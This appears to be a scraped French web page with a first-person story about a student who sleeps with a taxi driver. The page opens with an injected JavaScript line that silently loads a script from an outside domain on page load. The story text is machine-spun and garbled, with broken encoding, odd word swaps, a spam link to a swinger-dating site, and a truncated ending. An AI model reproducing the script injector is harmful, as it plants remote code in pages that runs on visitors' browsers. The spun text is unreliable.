;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn");
Une folie ! Qu’elle ne regrettera nullement, loin de la.
Ce post issu de l’edition abonnees vous reste exceptionnellement offert. Visitez nos offres d’abonnement
« Euh, excusez-moi, vous voulez monter ? » C’est sorti tout seul ma bouche. Pas une seconde, je ne pense aux consequences de cette invitation. Tout ce que je sais, c’est que j’ai le desir de perdre la nuit avec l’homme qui se deniche i ci?te de moi. Que j’ai envie qu’il vienne i la maison et qu’il pose ses levres i propos des miennes. La, maintenant, d’emblee. L’inconnu au volant de son taxi parait d’abord interloque par ma proposition. Il ne repond rien. Puis un leger sourire nait via le visage. « Eh bien oui, pourquoi pas, finit-il par me penser, avant d’ajouter : je gare la voiture et j’arrive. »
Je le regarde redemarrer, stupefaite de ma propre audace. Je ne suis moyennement le genre de fille a ramener n’importe qui i la maison. Je viens d’avoir 20 annees et j’ai perdu ma virginite deux ans auparavant, avec 1 garcon un tantinet plus age. J’ai ensuite enchaine quelques tentatives d’histoire d’amour mais rien de tres marquant. Alors que l’annee s’acheve, j’ai hate de vivre de nouvelles experiences sans Afin de autant oser faire le premier pas.
Ce jeudi soir avait commence de maniere tres banale. Un apero avec ma bande de potes une fac de lettres. Quelques canettes de biere, des cigarettes roulees ainsi que grandes discussions politiques. Pas vraiment le programme ideal pour croiser l’homme de ma vie. J’ai bien tente de convaincre mes amis d’aller danser dans des bars mais rien a faire. Au bout de quelques verres, J’me resigne et je laisse filer les heures a refaire individu en petit comite. Vers 3 ou 4 heures du matin, je me rends compte que je suis censee aller a la fac le lendemain et que celui-ci faudrait que je dorme legerement. Je fais facilement le calcul de mon budget d’etudiante et j’annonce triomphalement que, ce soir, je joue les princesses : je vais rentrer en taxi ! Titubant legerement sous l’effet de l’alcool, j’agite mon tour tel au sein des films en direction en rue et, des minutes plus tard, un taxi s’arrete pres de moi. De l’interieur de l’imposant automobile noir s’echappent plusieurs notes feutrees de jazz. Je prends place a l’arriere et felicite le chauffeur Afin de la specialite en musique apres lui avoir donne mon adresse. Il me sourit en retour sans rien dire et se met a rouler dans la nuit. Cela fait tres froid, mais je me sens soudain incroyablement heureuse, comme si bien etait possible. Comme si j’etais enfin devenue une adulte, a rentrer en taxi bien apres minuit. Au retroviseur, le chauffeur et moi echangeons un regard, puis deux. Cela a de grands yeux bleus qui me fixent sans ciller. Il me devisage comme lorsqu’il comprenait exactement ce que je ressentais. Legerement troublee, je me detourne et me concentre sur le paysage nocturne des quais parisiens qui defilent.
« A aucun moment, nous ne nous sommes demande les prenoms, des ages. Il ne fallait pas rompre le charme. »
« Mademoiselle, voulez-vous une cigarette ? » J’ai voix du chauffeur est grave, ses intonations paraissent elegantes. Je murmure un oui amuse et le laisse fouiller dans la boite a gants d’ou il sort un paquet de mentholees et un briquet. Nous ne disons ensuite plus un mot, fumant en ecoutant ces pii?ces de jazz que je ne connais pas, mais qui se gravent dans ma memoire. Je ne vois que le dos et le profil de mon chauffeur mais je devine un visage aux traits fins, une chemise bleue retroussee aux manches. A l’interieur du taxi, une legere tension monte, que je ne parviens jamais a identifier vraiment. Tres vite, nombre trop vite, nous arrivons devant i la maison. Je regle la course et suis a regret du vehicule. I§a hors du temps s’apprete a devenir un vague souvenir. Mais, au moment de composer mon code, je m’apercois que le taxi reste forcement la. Comme lorsqu’il attendait que je sois bien rentree Afin de disparaitre dans la nuit. Je m’approche concernant le remercier, ainsi, Notre phrase m’echappe alors, limite malgre moi : « Euh, excusez-moi, vous voulez monter ? »
Tandis que le chauffeur gare sa voiture a deux metres du immeuble, ma respiration s’accelere. Est-ce vraiment raisonnable de laisser entrer chez moi 1 inconnu, obligee de avoir dix ans de plus que moi ? Neanmoins,, lorsque le chauffeur revient et qu’il me sourit timidement, mon coeur chavire et J’me dis que je dois ecouter mon instinct et lui faire confiance. Nous montons https://datingmentor.org/fr/sites-echangistes/ en silence mes cinq etages. Je vis dans un studio d’etudiante parisienne typique : votre canape-lit que j’ai toujours la flemme de replier, des bouquins qui trainent partout et une mini-kitchenette. Dix-sept metres carres qui representent notre independance toute neuve, ainsi, ou je viens de ramener votre homme. Nous nous retrouvons l’un i ci?te de l’autre, legerement embarrasses. Cela nous faudra plusieurs grandes minutes avant de nous decider a nous embrasser. Le contact de ses levres est doux et sensuel, je sens le desir monter en moi avec vagues. Je lui enleve sa chemise, il parai®t intimide, tel si c’etait moi et non lui qui avais le plus d’experience. Nous faisons l’amour en silence, en echangeant des regards complices dans la penombre, comme amuses avec l’incongruite en situation.
. avec votre bon inconnu.